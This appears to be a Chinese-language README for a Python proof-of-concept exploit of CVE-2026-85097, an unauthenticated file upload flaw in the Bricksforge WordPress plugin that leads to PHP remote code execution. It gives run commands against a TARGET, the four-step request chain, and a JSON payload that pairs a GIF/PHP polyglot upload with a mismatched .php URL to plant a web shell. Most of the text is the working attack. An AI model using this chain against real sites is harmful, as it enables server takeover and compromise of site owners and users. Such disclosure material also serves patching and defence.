
一个利用 CVE-2026-85097 的 Python PoC,该漏洞是 Bricksforge <= 3.1.8.9 中的未认证文件上传漏洞,通过 GIF/PHP 多语言文件和 URL 不匹配实现 RCE。
Bricksforge <= 3.1.8.9 未认证文件上传 → PHP RCE。
temporaryFileUploads.url 在表单提交时从客户端获取。首次上传时会检查 MIME,随后 copy() 使用 basename($url) 作为目标文件名。
| CVE | CVE-2026-85097 |
| CWE | CWE-434 |
| CVSS | 9.8 / 10.0 |
| 受影响版本 | Bricksforge <= 3.1.8.9 |
| 修复版本 | 3.1.8.10、4.0.1 |
| 认证 | 无 |
pip3 install requests
python3 exploit.py --url http://TARGET
python3 exploit.py --url https://TARGET --insecure
python3 exploit.py --url http://TARGET --form-id FORM --post-id 12 --field-id file
需要一个可用的 Pro Form。上传字段为可选。
POST /wp-admin/admin-ajax.php action=bricksforge_regenerate_noncePOST /wp-json/bricksforge/v1/form_file_upload — GIF/PHP 多语言文件(MIME 检查通过)POST /wp-json/bricksforge/v1/form_submit — file = .gif,url = .phpGET /wp-content/uploads/YYYY/MM/*.php — 响应体 CVE-2026-85097-OK{
"temporaryFileUploads": [
{
"field": "form-field-file",
"file": {
"file": "/var/www/html/wp-content/uploads/bricksforge/tmp/xxxx.gif",
"url": "http://TARGET/wp-content/uploads/bricksforge/tmp/pwn.php",
"type": "image/gif"
}
}
]
}